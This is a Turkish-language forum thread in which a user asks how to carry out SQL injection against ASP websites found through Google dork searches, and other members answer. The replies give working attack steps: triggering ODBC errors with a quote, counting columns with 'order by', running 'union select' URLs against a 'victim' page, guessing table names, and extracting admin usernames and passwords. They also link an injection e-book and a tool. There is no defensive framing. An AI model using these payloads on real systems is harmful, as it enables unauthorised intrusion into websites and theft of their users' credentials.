Sql Injection ?
-
Arkadaslar onceden ugrasiyordum azcik yapabiliyordum fakat tekrar baslamak isteyince hersey karisti birbirine . Soyleki sql injection ile hata verdirmek istiyorum fakat hata olup olmadigini anlamiyorum . Arastirincada herkes farkli kafadan konusmus biri diyor bilmem ne hatasi vercek digeri yok onu vermez sunu vercek . Videolar izledim kimisi direkt hata verdirip union+select+0,1,2,3,4,5,6,7,8,9 yapmis kimisi daha degisik . Simdi arkdaslar size sorum su ;
Sitenin sonuna ' koydugumda hangi tur hata vericek ?
Hatayi verdirdimmi direkt union+select+ numaralari mi yazcam ?
Google allinurl:asp?id= yazarak aratiyorum ve dogal olarak neredeyse hicbiri olmuyor nasil aratabilirim ?
Ornek verebileceginiz yabanci bir site var mi ?
+ Son olarak
union+select+0,1,2,3,4,5,6,7,8,9 komutlari cogu sitede ise yarar mi yoksa siteye gore degisir mi ?
-
1 - ) ' veya 'a komutları ODBC hatasını almanı saglar.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin' to a column of data type int.
/index.asp, line 5gibi...
(yanlıs yazmıs olabilirim)
2 - ) Bu hatayı alabilirsen evet union komutlarını deneyebilirsin.
3 - ) Arkadasım, url'nin o kısmında olacak diye bir şart yok, tahmin edemedigin yerlerde bile cıkabilir.
Misal ; www.siteadi.com/v2/cms/yemekler/mainpage.asp?kategori=pilav ...
Senin kullandıgın dork en basiti...
4 - ) Siteye göre degisir tabii ki.
www.siteadi.com/v2/cms/yemekler/mainpage.asp?kategori=pilav
= request("kategori")
= "SELECT * FROM pilavWHERE PKategori='" & v_kat & "'"gibi hatalar da aldırabilirsin.
SELECT * FROM urunler WHERE PKategori='pilav'
veya
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
yazıp tablolar hakkında veri cekebilirsin.
Umarım yardımcı olmusumdur.
-
Tesekkur ederim fakat iyi anlayabilecegim sekilde kaynak biliyor musun ?
-
' , - vb karakterlerde genellikle hata alırsın bu hatayı izleyerek istediğin bilgiye ulaşırsın.Hata sayfası kapanmışta olabilir yani illa ki hata çıkacak diye birşey yok.
union select 0,1,2,3,4 ... from kullanicilar şeklinde sql sorgusunu msaccess türü veritabanında yaparsın.
having 1=1 vs. gibi sorgulamaları ms sql veritabanında yaparsın. Yani sitenin hangi veritabanını kullandığına bağlı.
-
Kaynak okudugumu hatırlamıyorum gercekten :S
Ferruh ya da Olympos'a bak oralarda vardır illa ki..
-
http://rapidshare.com/files/228566454/sqlinjection.pdf eskiden yazdığım bir e-book vardı. belki isine yarayabilir...
-
http://injektor.freetzi.com al hacı burdan kastır mssql se kasar :D
-
Merhaba
Hatayı
http://www.site.com/victim.asp?id=123' şeklinde yazdın ve hata aldın diyelim.
Hata şöyle olabilir.
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'victimID = 123'.
/victim.asp, line 123Sonra order by ile kolon sayısını bulacaksın.yani şöyle
http://www.site.com/victim.asp?id=123+order+by+22
burada son kısımdaki 22 rastgele ürettiğim bir sayıdır. sen bu sayıyı hata almadığım sayı yapacaksın. yani ben order+by+23 yaparsam
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'victimID = 14''a'.
/victim.asp, line 14hatası alırım ama order+by+22 yaparsam almam o sayıyı kendin bulacaksın.
Sonra diyelim order+by+22 bu sefer böyle yapacaksın.
victim.asp?id=123+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
site görüntüsü
http://www.site.com/victim.asp?id=123+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
olur.
Daha sonrası dikkatlice bak
http://www.site.com/victim.asp?id=123+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+uye diyelim. yaparsan ve başarısız olursa şöyle bir hata alırsın.
Microsoft Jet database engine cannot find the input table or query 'uye'. Make sure it exists and that its name is spelled correctly.
doğru tablo adını bulacaksın yani bu admin olur user olur member olur oda senin kıvrak zekana kalmış birşey.
Sonra diyelim
http://www.site.com/victim.asp?id=123+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin yaptın
açılan sayfadan
buldugun kolon sayısı kadar sayılar cıkabilir.
bu sayılardan diyelimki 4 ve 6 çıktı
sen böyle yapacaksın.
http://www.site.com/victim.asp?id=123+union+select+1,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin yaptın
Bu anlattıklarım acces Inj için geçerlidir.
Mysql V4 Inj Access Inj ile birbirine benzemektedir. Ufak tefek farklar mevcuttur :)
Saygılar
-
sql komutlarini ogrendik , hafiften asp bilgim var :)
basit gibi gorunuyor . bu islere sinavlar sonrasinda daha kafa yormak lazim .
